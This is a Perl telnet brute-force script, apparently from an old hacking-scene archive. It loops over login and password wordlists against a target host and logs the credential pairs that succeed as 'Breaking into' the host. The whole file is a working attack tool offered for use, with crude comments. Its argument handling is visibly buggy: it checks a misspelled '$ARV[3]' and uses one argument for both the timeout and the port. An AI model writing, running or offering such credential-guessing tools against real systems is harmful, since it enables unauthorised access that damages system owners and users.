#!/usr/bin/perl
# This programm takes login's and password's from list and
# try to login in system. To run it you need perl module
# Net::Telnet i put him in this archive , so go get biggest
# wordlist and run programm on T4 shell;)) 
# Telnet bruteforce by RapMaster2000 <RapMaster2000@mail.ru>
# greets go to:
# Team Void(www.void.ru),jth,spider,bauddie and wodka drinker MAL.

use Net::Telnet();
$size=0;
$lg=0;
$ps=0;
if ( @ARGV < 2)
  {
     &usage;
      exit;
  }
$host = $ARGV[0];
$l_list = $ARGV[1];
$p_list = $ARGV[2];
$tover = $ARGV[3];
 if( ! $ARV[3])
   { $tover = 10; }
$port = $ARGV[3];
 if( ! $ARV[3])
   { $port = 23; }
print "Log Session?[y/n]";
$yn=<STDIN>;

if($yn =~ /y/i)
{ 
	$log = 1; 
	$logfile="$host".".log";

	print "Log File [$logfile]: ";
	$file=<STDIN>;
	chop($file) if $file =~ /\n$/;

	if($file ne "") 
	{
		$logfile=$file;
	}
	open(LOG,">>$logfile") || die("Unable to write to $logfile!");
	print LOG "[Breaking into $host on port $port]\n\n";
}

open (LG, $l_list);
while (<LG>) 
{ 
  ($login) = split (/,/); 
  chop($login);
 $lg++;
   &pass; # i am dumb fuck i think some one can make this shit easy
}
 sub pass {
 open (PS, $p_list); 
while (<PS>) 
{ 
  ($passwd) = split (/,/); 
  chop($passwd);
$ps++; 
  &break;
}
} # dumb fuck

print LOG "[Totaly tested $lg logins and $ps passwords, $size of them was succeful]\n" if $log==1;
close(LOG) if $log==1;
exit;

sub break {
$telnet = new Net::Telnet ( port => $port,
                            Host => $host, 
                            Timeout =>$tover,
			          Errmode =>'die');
# login & password strings change them if difirent
$telnet->waitfor(-match => '/login[: ]*$/i',
		   -match => '/username[: ]*$/i');
$telnet->print($login);
$msg = 1;
$telnet->waitfor('/password[: ]*$/i');
$telnet->print($passwd);
my($cmd_prompt);
$cmd_prompt = $telnet->prompt;
defined $cmd_prompt # this shit token from Net::Telnet module
		    or $cmd_prompt = '';
		return $telnet->error("bad match operator: ",
				    "opening delimiter missing: $cmd_prompt")
		    unless ($cmd_prompt =~ m(^\s*/)
			    or $cmd_prompt =~ m(^\s*m\s*\W));


($prematch, $match) = $telnet->waitfor(-match => '/login[: ]*$/i',
					 -match => '/username[: ]*$/i',
					 -match => $cmd_prompt);
$msg = 0 if $match =~ /login[: ]*$/i or /Login incorrect/;
if( $msg == 1)
  { $yep = "[X][Login:$login Password:$passwd]\n"; # yahahaha go to #shells@efnet
    print "$yep";
    $size++;
    print LOG "$yep" if $log==1;
    $telnet->close;  
  }
else
  { 
    $nope = "[N][Login:$login Password:$passwd is incorrect]\n"; # fuck 
    print "$nope";
    print LOG "$nope" if $log==1;
    $telnet->close;
  }

}

sub usage {
  print "[Usage: host login-list password-list timeout(default 10sec) port(default 23) ]\n";
  }

